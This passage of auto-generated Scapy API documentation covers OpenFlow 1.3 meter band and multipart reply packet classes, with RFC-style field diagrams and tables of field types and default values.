class scapy.contrib.openflow3.OFPMBTDrop(_pkt, /, *, type=0, len=16, rate=0, burst_size=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1529-L1535]

	Bases: OFPMBT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BURST SIZE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPMBTDrop                          


OFPMBTDrop fields






	type

	ShortEnumField

	0



	len

	ShortField

	16



	rate

	IntField

	0



	burst_size

	IntField

	0



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMBTExperimenter(_pkt, /, *, type=65535, len=16, rate=0, burst_size=0, experimenter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1548-L1554]

	Bases: OFPMBT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BURST SIZE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPMBTExperimenter                      


OFPMBTExperimenter fields






	type

	ShortEnumField

	65535



	len

	ShortField

	16



	rate

	IntField

	0



	burst_size

	IntField

	0



	experimenter

	IntField

	0















	
class scapy.contrib.openflow3.OFPMPReplyAggregate(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=2, flags=<Flag 0 ()>, pad1=0, packet_count=0, byte_count=0, flow_count=0, pad2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2275-L2287]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PACKET COUNT                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BYTE COUNT                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FLOW COUNT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPMPReplyAggregate                     


OFPMPReplyAggregate fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	2



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	packet_count

	LongField

	0



	byte_count

	LongField

	0



	flow_count

	IntField

	0



	pad2

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPReplyDesc(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=0, flags=<Flag 0 ()>, pad=0, mfr_desc=b'', hw_desc=b'', sw_desc=b'', serial_num=b'', dp_desc=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2195-L2208]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MFR DESC                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
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|                                                               |
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+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            HW DESC                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
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+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SERIAL NUM                          |
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                       Fig. OFPMPReplyDesc                        


OFPMPReplyDesc fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>



	pad

	XIntField

	0



	mfr_desc

	StrFixedLenField

	b''



	hw_desc

	StrFixedLenField

	b''



	sw_desc

	StrFixedLenField

	b''



	serial_num

	StrFixedLenField

	b''



	dp_desc

	StrFixedLenField

	b''















	
class scapy.contrib.openflow3.OFPMPReplyExperimenter(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=65535, flags=<Flag 0 ()>, pad1=0, experimenter=0, exp_type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2971-L2981]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EXP TYPE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPMPReplyExperimenter                    


OFPMPReplyExperimenter fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	65535



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	experimenter

	IntField

	0



	exp_type

	IntField

	0















	
class scapy.contrib.openflow3.OFPMPReplyFlow(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=1, flags=<Flag 0 ()>, pad1=0, flow_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2257-L2267]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FLOW STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPMPReplyFlow                        


OFPMPReplyFlow fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	1



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	flow_stats

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyGroup(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=6, flags=<Flag 0 ()>, pad1=0, group_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2454-L2464]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GROUP STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPMPReplyGroup                       


OFPMPReplyGroup fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	6



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	group_stats

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyGroupDesc(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=7, flags=<Flag 0 ()>, pad1=0, group_descs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2494-L2504]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GROUP DESCS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPMPReplyGroupDesc                     


OFPMPReplyGroupDesc fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	7



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	group_descs

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyGroupFeatures(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=8, flags=<Flag 0 ()>, pad1=0, types=<Flag 0 ()>, capabilities=<Flag 0 ()>, max_group_all=0, max_group_select=0, max_group_indirect=0, max_group_ff=0, actions_all=<Flag 0 ()>, actions_select=<Flag 0 ()>, actions_indirect=<Flag 0 ()>, actions_ff=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2522-L2547]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TYPES                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MAX GROUP ALL                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        MAX GROUP SELECT                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       MAX GROUP INDIRECT                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAX GROUP FF                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ACTIONS ALL                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ACTIONS SELECT                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        ACTIONS INDIRECT                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ACTIONS FF                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPMPReplyGroupFeatures                   


OFPMPReplyGroupFeatures fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	8



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	types

	FlagsField

	<Flag 0 ()>



	capabilities

	FlagsField

	<Flag 0 ()>



	max_group_all

	IntField

	0



	max_group_select

	IntField

	0



	max_group_indirect

	IntField

	0



	max_group_ff

	IntField

	0



	actions_all

	FlagsField

	<Flag 0 ()>



	actions_select

	FlagsField

	<Flag 0 ()>



	actions_indirect

	FlagsField

	<Flag 0 ()>



	actions_ff

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.openflow3.OFPMPReplyMeter(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=9, flags=<Flag 0 ()>, pad1=0, meter_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2595-L2605]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          METER STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPMPReplyMeter                       


OFPMPReplyMeter fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	9



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	meter_stats

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyMeterConfig(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=10, flags=<Flag 0 ()>, pad1=0, meter_configs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2636-L2646]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         METER CONFIGS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPMPReplyMeterConfig                    


OFPMPReplyMeterConfig fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	10



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	meter_configs

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyMeterFeatures(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=11, flags=<Flag 0 ()>, pad1=0, max_meter=0, band_types=<Flag 0 ()>, capabilities=<Flag 0 ()>, max_bands=0, max_color=0, pad2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2660-L2679]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAX METER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BAND TYPES                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MAX BANDS   |   MAX COLOR   |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPMPReplyMeterFeatures                   


OFPMPReplyMeterFeatures fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	11



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	max_meter

	IntField

	0



	band_types

	FlagsField

	<Flag 0 ()>



	capabilities

	FlagsField

	<Flag 0 ()>



	max_bands

	ByteField

	0



	max_color

	ByteField

	0



	pad2

	XShortField

	0















	
class scapy.contrib.openflow3.OFPMPReplyPortDesc(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=13, flags=<Flag 0 ()>, pad1=0, ports=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2945-L2955]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PORTS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPMPReplyPortDesc                      


OFPMPReplyPortDesc fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	13



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	ports

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyPortStats(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=4, flags=<Flag 0 ()>, pad1=0, port_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2361-L2371]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PORT STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPMPReplyPortStats                     


OFPMPReplyPortStats fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	4



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	port_stats

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyQueue(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=5, flags=<Flag 0 ()>, pad1=0, queue_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2401-L2411]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
